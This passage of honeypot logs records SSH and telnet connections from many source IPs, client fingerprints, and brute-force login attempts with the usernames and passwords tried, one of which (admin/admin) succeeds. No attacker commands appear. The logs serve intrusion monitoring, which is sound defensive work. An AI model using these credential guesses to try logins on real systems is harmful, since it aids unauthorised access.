512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:25:41.980414Z","src_ip":"132.148.155.138","session":"d8047558ad0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin%$#@!&*()!@","message":"login attempt [root/admin%$#@!&*()!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:25:42.177319Z","src_ip":"132.148.155.138","session":"d8047558ad0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:25:43.245012Z","src_ip":"132.148.155.138","session":"d8047558ad0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":50290,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b4f2f990cba","protocol":"ssh","message":"New connection: 103.82.20.28:50290 (10.17.0.5:22) [session: 9b4f2f990cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:02.533289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:02.539147Z","src_ip":"103.82.20.28","session":"9b4f2f990cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:02.795451Z","src_ip":"103.82.20.28","session":"9b4f2f990cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290378","message":"login attempt [root/290378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:03.566985Z","src_ip":"103.82.20.28","session":"9b4f2f990cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:04.827090Z","src_ip":"103.82.20.28","session":"9b4f2f990cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":44000,"dst_ip":"10.17.0.5","dst_port":23,"session":"d723d990038f","protocol":"telnet","message":"New connection: 72.167.226.244:44000 (10.17.0.5:23) [session: d723d990038f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:24.716676Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":34796,"dst_ip":"159.203.135.109","dst_port":22,"session":"59d821cc01c3","protocol":"ssh","message":"New connection: 192.169.180.166:34796 (159.203.135.109:22) [session: 59d821cc01c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:27.346985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:27.350260Z","src_ip":"192.169.180.166","session":"59d821cc01c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:27.428715Z","src_ip":"192.169.180.166","session":"59d821cc01c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nepal","password":"Kathmandu#Crypto$P@ssw0rd","message":"login attempt [nepal/Kathmandu#Crypto$P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:27.660587Z","src_ip":"192.169.180.166","session":"59d821cc01c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:28.743518Z","src_ip":"192.169.180.166","session":"59d821cc01c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.172.154","src_port":36714,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba0c665e44d4","protocol":"telnet","message":"New connection: 43.155.172.154:36714 (10.17.0.5:23) [session: ba0c665e44d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:54.361830Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:54.761556Z","src_ip":"43.155.172.154","session":"ba0c665e44d4","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:54.963796Z","src_ip":"43.155.172.154","session":"ba0c665e44d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82222867012024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:26:55.538811Z","src_ip":"72.167.226.244","session":"d723d990038f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":36074,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f82fa3385b5","protocol":"ssh","message":"New connection: 162.144.249.8:36074 (10.17.0.5:22) [session: 1f82fa3385b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:04.956718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:04.960439Z","src_ip":"162.144.249.8","session":"1f82fa3385b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:04.983507Z","src_ip":"162.144.249.8","session":"1f82fa3385b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bittrexglobal","password":"bittrex123","message":"login attempt [bittrexglobal/bittrex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:05.053160Z","src_ip":"162.144.249.8","session":"1f82fa3385b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:06.079871Z","src_ip":"162.144.249.8","session":"1f82fa3385b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42940,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e565faea6a","protocol":"telnet","message":"New connection: 107.6.151.170:42940 (159.203.135.109:23) [session: e6e565faea6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:06.322819Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db3ee157c4c","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (159.203.135.109:22) [session: 4db3ee157c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:33.643401Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:33.747314Z","src_ip":"64.89.160.135","session":"4db3ee157c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":49050,"dst_ip":"10.17.0.5","dst_port":22,"session":"27a2bae38891","protocol":"ssh","message":"New connection: 103.15.222.183:49050 (10.17.0.5:22) [session: 27a2bae38891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:41.102630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:41.106926Z","src_ip":"103.15.222.183","session":"27a2bae38891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:41.341826Z","src_ip":"103.15.222.183","session":"27a2bae38891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14121980","message":"login attempt [root/14121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:42.046169Z","src_ip":"103.15.222.183","session":"27a2bae38891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:43.283050Z","src_ip":"103.15.222.183","session":"27a2bae38891","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:55.284420Z","src_ip":"43.155.172.154","session":"ba0c665e44d4","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:27:55.327469Z","src_ip":"43.155.172.154","session":"ba0c665e44d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":58292,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6dd7dfb86b0","protocol":"ssh","message":"New connection: 85.214.154.50:58292 (159.203.135.109:22) [session: d6dd7dfb86b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:28:28.772987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:28:28.775771Z","src_ip":"85.214.154.50","session":"d6dd7dfb86b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:28:28.875439Z","src_ip":"85.214.154.50","session":"d6dd7dfb86b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaxx2024","message":"login attempt [root/jaxx2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:28:29.191991Z","src_ip":"85.214.154.50","session":"d6dd7dfb86b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:28:30.294893Z","src_ip":"85.214.154.50","session":"d6dd7dfb86b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00276732444763,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:06.325456Z","src_ip":"107.6.151.170","session":"e6e565faea6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":35502,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dadea3db5c0","protocol":"ssh","message":"New connection: 103.122.221.179:35502 (159.203.135.109:22) [session: 9dadea3db5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:14.514300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:14.518600Z","src_ip":"103.122.221.179","session":"9dadea3db5c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":59888,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff3bb67d933f","protocol":"ssh","message":"New connection: 97.74.6.204:59888 (159.203.135.109:22) [session: ff3bb67d933f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:14.602600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:14.606067Z","src_ip":"97.74.6.204","session":"ff3bb67d933f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:14.670687Z","src_ip":"97.74.6.204","session":"ff3bb67d933f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:14.781970Z","src_ip":"103.122.221.179","session":"9dadea3db5c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afghanistan","password":"Kabul#Bitc0!n$M@st3r","message":"login attempt [afghanistan/Kabul#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:14.867900Z","src_ip":"97.74.6.204","session":"ff3bb67d933f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260419","message":"login attempt [root/260419] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:15.565186Z","src_ip":"103.122.221.179","session":"9dadea3db5c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:15.935395Z","src_ip":"97.74.6.204","session":"ff3bb67d933f","protocol":"ssh"}
